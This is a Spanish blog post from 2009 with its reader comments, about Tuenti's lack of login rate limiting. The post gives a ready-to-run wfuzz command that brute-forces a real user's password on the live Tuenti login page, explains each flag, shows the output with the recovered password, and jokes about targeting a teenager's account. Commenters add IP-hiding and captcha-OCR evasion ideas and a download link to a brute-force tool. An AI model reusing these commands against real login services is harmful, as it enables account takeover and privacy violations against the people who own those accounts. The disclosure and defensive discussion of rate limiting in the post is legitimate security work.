18 julio 2009

No, no uses captchas ni ningún otro sistema de protección.


Me llama la atención como los webmails y algunos otros servicios protegen a los usuarios de ataques de fuerza bruta mediante distintas medidas como son el bloqueo de cuentas, de direcciones IP o mediante el uso de CAPTCHAs. En cambio, otras aplicaciones de gran difusión como son las redes sociales, parecen no preocuparles este problema, pese a que el contenido puede ser muy sensible y los usuarios tienen zonas privadas de mensajes.

Aprovechando la reflexión, he comprobado como Tuenti no limita estas peticiones con la estupenda herramienta de Edge-Security: wfuzz.

El siguiente ejemplo muestra su ejecución para lanzar el comando (lo siento para los amantes de las ventanitas) contra este fabuloso portal

$ python wfuzz.py -c -z file -f wordlists/common.txt --hc 200 -d"email=securik@gmail.com&input_password=FUZZ&timezone=1" "https://www.tuenti.com/?m=Login&func=do_login"
Lo único que nos haría falta es una buena lista de palabras (o todas las posibles de 8 caracteres, total, es gratis) y la cuenta de correo del teenager a atacar.

Los argumentos son los siguientes:
  • -c colorea la salida para una fácil visualización
  • -z file indica que se pasará un fichero como diccionario
  • -f wordlist/common.txt es el archivo con las contraseñas a probar (aseguraros que tiene CristianoRonaldo como una de ellas)
  • --hc 200 solicita que todo lo que devuelva un error 200 no sea mostrado
  • -d especifica los parámetros que serán enviados como POST.
  • FUZZ indica donde se hará la rotación de palabras, en este caso en el campo "input_password"
Si tenemos suerte se debería mostrar una línea de este tipo, donde "ecurity" es la contraseña válida:
Target: https://www.tuenti.com/?m=Login&func=do_login
Payload type: file

Total requests: 948
=================================
ID Response Lines Word Request
==================================

00947: C=302 0 L 0 W "ecurity"
La siguiente captura muestra la ejecución completa:


En cambio Facebook bloquea la cuenta y exige se haga un reinicio de contraseña, enviando un aviso al correo electrónico.

46 comments :

Zerial dijo...

Creo que wordpress y la mayoria de los CMS que no implementan estos sistemas por defecto tambien lo deberían hacer. Quizás no un captcha pero algo que limite los intentos, algo como un "Throttling login attempts"

chencho dijo...

Sigo diciendo que comentar estas cosas en 'público', es un peligro para los críos aburridos :(

Anónimo dijo...

Estoy de acuerdo con Chencho.

Alejandro Ramos dijo...

Buenas, aquí no se describe ninguna vulnerabilidad importante y aunque así fuera, si desgraciadamente hay crios que quieren realizar ataques, ellos sabrán cuales son las consecuencias.... siento si no os ha gustado la entrada, pero la audiencia son consultores, auditores y analistas de seguridad y no gente sin ética ni conocimientos legales de sus acciones.

Gracias por vuestros comentarios!

fearu dijo...

Yo pienso que puede ser para evitar el robo de cuentas por parte de spammers (no para proteger a los usuarios), ya que de nada les servirían los captchas para registrar cuentas si pueden hacer ataques de diccionario a un montón de correos. Y las redes sociales no lo harán porque no se realizarán este tipo de ataques contra ellos.

dx4cpc dijo...

Nadie nace sabiendo, y si no hubiera webs como estas, que muestran al mundo la inseguridad de terceras webs...(un suspiro).

Si JDownloader "lee" los CAPTCHAs, cualquier soft también podría hacer algo parecido, ¿no?
Asi que eso de poner un CAPTCHA no es la solución aunque si se combina con el un maximo de veces permitido, pues entonces sube la seguridad...

¿o que piensan?
un saludo.

Zerial dijo...

@dx4cpc: Un captcha debe ser ser legible por humanos pero ilegible para maquinas. Para romper captchas puedes hacerlo usando redes neuronales, pero para esto debes programar un bot que rompa especificamente un captcha bajo unas circunstancias X. Para que un captcha sea seguro es necesario que tenga que en cada generacion de si mismo cambie su tipografia, rotacion de texto, fondo, lineas para hacer "ruido" etc, de manera tal que no puedas programar un bot usando redes neuronales, ya que es practicamente imposible determinar como vas a mostrar el captcha.

Cuando programas un bot para romper captchas debes hacer que el programita lea la imagen, le quite el ruido, separe los colores, quite el fondo y deje las puras letras lo mas derechas y legibles posibles y de esta forma poder leer el texto, pero como te puedes imaginar, para hacer esto tienes que saber como se va a mostrar el captcha, si le dices al bot que el texto esta en 90º entonces debes enderesarlo y quizas funcione, pero que pasa si el texto aparece en 360º? El bot solo lo girara 90º.
De todas formas es posible programar un bot para distintos escenarios, pero creo que mientras mas dinamico sea un captcha, mas seguro es.

X-BASS dijo...

Dejad, que la gente aprenda a usar ataques. Mientras sólo sean unos pocos los que generen ataques, todo seguirá igual.
Si llegado el momento, los ataques aumentan considerablemente, las empresas empezarán a ponerse las pilas y mejorar los sistemas.
Prevenir es mejor que curar, pero prevenir les cuesta un dinero que quizá piensen "aún no es necesario gastar".

Anónimo dijo...

Felicidades al autor por el artículo.

No estoy de acuerdo con los comentarios sobre la peligrosidad de publicarlo, ya que realmente no se está mostrando ningún fallo grave de seguridad. Al contrario, se está favoreciendo que las aplicaciones web sean seguras por defecto. A ver si Tuenti se ve afectado por tantos ataques que les replantee mejorar su seguridad y, lo que es más importante, la seguridad de sus usuarios.

Pasky

Asfasfos dijo...

Alejandro, un 10 por los posts que haces y otro por la currada que llevas con la investigación de los captchas.

Christian Martorella dijo...

Bueanas Alejandro, interesante articulo :) Para los que quieran una version con frontend grafico y mas opciones pueden probar con la herramienta WebSlayer
http://www.edge-security.com/webslayer.php

Saludos

Anónimo dijo...

Llego un poco tarde para comentar, pero me gustaría añadir una idea que veo que nadie ha nombrado.

La "solución" que hace Facebook de bloquear la cuenta y enviar un email soluciona el tema de probar contraseñas por fuerza bruta, pero crea uno nuevo quizá peor: un sencillísimo DoS contra las cuentas.

Ej: creo un programa que intente constantemente logearse con cualquier contraseña. Cuenta bloqueada. El usuario usa el email para desbloquearla, pero el programa sigue probando, con lo que se bloquea de nuevo al momento.

En MSN (hotmail, live messenger, ..) tomaron una decisión parecida (se bloquea la cuenta durante un breve lapso de tiempo), y ya hay programas que explotan esta idea.

Lo más seguro creo que es bloquear la(s) IP atacante(s). No creo que nadie vaya a alquilar una botnet para sacar una contraseña de una web por fuerza bruta ;)

Un saludo, y ¡seguid así!

Anónimo dijo...

Nada mas se me abre el programa se me cierra con xp ....que hago

Sr.SinHambre dijo...

Cual es la mínima longitud de clave que exige tuenti? 6 caracteres?

Anónimo dijo...

ola no me va el tuenti xat algien me podria decir ke acer??

Jay dijo...

Francamente no creo que tengas razón, los captchas se saltan, incluso hay un ocr bastante bueno en javascript, si, he dicho javascript.

Los ataques de fuerza bruta sirven para claves cortas, tuenti pide creo que como mínimo 6 caracteres, hacer eso con el ancho de banda que hay en españa es un suicidio, puedes intentar hackear algo así por fuerza bruta, pero habrán pasado meses, incluso años antes de conseguir nada, otra historia serían ataques de diccionario

Alex Kidd dijo...

Estuve haciendo mis investigaciones sobre el tema con una herramienta que me hize en c++ antes de leer este post. Después de ponerla en práctica, pensé que tuenti habia bloqueado la direccion ip pero no fue así, puede loguearme con otra cuenta. Tuenti ante ataques de brute force bloquea al usuario como en otras paginas que citaba un Anónimo más arriba es decir puedes hacer DoS, al menos con mi herramienta.

Sr.SinHambre dijo...

Alex, y podrías pasarnos tu utilidad en c++?

Alex Kidd dijo...

Si claro, aqui dejo una archivo comprimido con el proyecto, el ejecutable, el codigo fuente en un txt y un archivo leeme con los pasos que seguí para que me bloqueara el user. Es una version vb6 (inconclusa) que hecho hace poco para elegir mas opciones de charset y mas comodamente.
PD: No genereres un charset de mas de 6 carácteres o te harás el DoS en tu propio pc. XD

http://www.mediafire.com/?5tn1uxtycgb

Un saludo!

Alex Kidd dijo...

Rectifico: Bloquea la ip. Me confundio que aun teniendo la ip bloqueada a esa cuenta puedes entrar a otras. Para evitar eso: wfuzz, me la tendré que mirar detenidamente.

Sr.SinHambre dijo...

Gracias ;)
A ver si saco un rato y leo el código ^^

Un saludooo

Alvaro dijo...

Jaja, te han hecho caso Alejandro. Ahora cuando pruebas unas cuantas contraseñas erroneas, no te permite logear, aunque pongas email y contraseña correctos. Te filtra por IP de origen...

Alvaro dijo...

Jaja, te han hecho caso Alejandro. Ahora cuando pruebas unas cuantas contraseñas erroneas, no te permite logear, aunque pongas email y contraseña correctos. Te filtra por IP de origen...

Foro Tuenti dijo...

Son realmente impresionante los fallos que podeis encontrar con unas pocas horas de investigación.

TuentiAdictos dijo...

Solo bloquean a la IP para acceder a la cuenta para la que se ha intentado usar wfuzz, pero ¿Cuanto tiempo exáctamente?

Recientemente se ha corregido bugs de inyección SQL ( http://www.tuentiadictos.es/tuenti-tiene-un-fallo-que-permite-sacar-datos-privados/ )


Saludos

Anónimo dijo...

A mi lo que me extraña es que tuenti no hubiera tomado medidas antes de la privacidad por ataques de fuerza bruta

Anónimo dijo...

Alguien sabe cuántos intentos por fuerza bruta hay??

Anónimo dijo...

El problema a un numero limitados de intentos por usuario/ip se solucionaria haciendo el ataque de forma anónima, es decir ocultando la ip que tenemos...

Anónimo dijo...

Para XP se abre el cmd, se hace cd en el directorio se ejecuta wfuzz seguido de los comandos.

Por cierto, no me funciono con ninguna cuenta, y eso que probe el archivo big, el problema es que estuve haciendo cuenta y con 6 caracteres y a unas 15 contraseñas que se prueban por segundo se necesitan muchisimos minutos para probar:

a) Solo letras minúsculas
b) Letras mayúsculas y minúsculas y números (cualquier combinación prácticamente)

Alguna solución? Diccionario de la lengua castellana? xD ... ^^'

Anónimo dijo...

He estado probando el programa, y con un diccionario de números de 90Mb se ha quedado pillado :)

Kalostrillo dijo...
Este comentario ha sido eliminado por el autor.
Anónimo dijo...

Compañeros nuestros amigos de Tuenti ya han reparado este error, y ahora te bloquean por intentos fallidos de autentificación, un punto para ellos :D

Anónimo dijo...

de eso nada tuenti sigue vulnerable pero para poder "jackearlo" necesitas tener un buen diccionario porque a saber lo que piensan los jovenes de hoy en dia sexo, drogas, alcohol y mas sexo

asi que como para crear el diccionario perefecto para eso, en resumen los crios aburridos no tienen nada que hacer y yo sigo votando que la mejor manera para hacerlo es por tunneling :)

att
oldrider88@hotmail.com

Anónimo dijo...

sigue funcionando? hay alguna lista mejorada si es que funciona aun, si bloquea la IP el programa lo save cambia el c=200 a error 404 o 500? gracias por el post ^^

celeridad dijo...

mmm parece que pusieron más seguridad ahora que si fallas algunas veces ya te pone captcha jeje

Anónimo dijo...

mmm parece que espabilaron ahoray cuando fallas 15 veces o por ahí ya ponen captcha los de tuenti jeje ahora hay que currárselo más reconociendo los captcha por OCR...

Anónimo dijo...

Y ahora yo le hago la siguiente pregunta... de que les vale poner captchas si tienen bugs xss por todos los lados ?

En concreto tuenti aún los tiene....


Saludos...

Anonymous dijo...

mmm parece que espabilaron ahoray cuando fallas 15 veces o por ahí ya ponen captcha los de tuenti jeje ahora hay que currárselo más reconociendo los captcha por OCR...

Anonymous dijo...

Y ahora yo le hago la siguiente pregunta... de que les vale poner captchas si tienen bugs xss por todos los lados ?

En concreto tuenti aún los tiene....


Saludos...

Anonymous dijo...

Compañeros nuestros amigos de Tuenti ya han reparado este error, y ahora te bloquean por intentos fallidos de autentificación, un punto para ellos :D

John dijo...

A mi esto no me funcionaa !!! :(

Sitajulia dijo...

eing?

Lefdal 1997 dijo...

quiero aprender de ti a piratear si sabes por fa me gustaria saber tantas cosas

Loretasensi dijo...

tambien por seguridad propia podria intentar crearse un contra osea si intentan meterse pudes contratacar con el progama y... evitar el acceso seria posible eso¿?

anonimo dijo...

k dice

Fernando Lucas Claro dijo...

se podria poner por ejemplo en una captcha 5+4+2 seria una buena idea?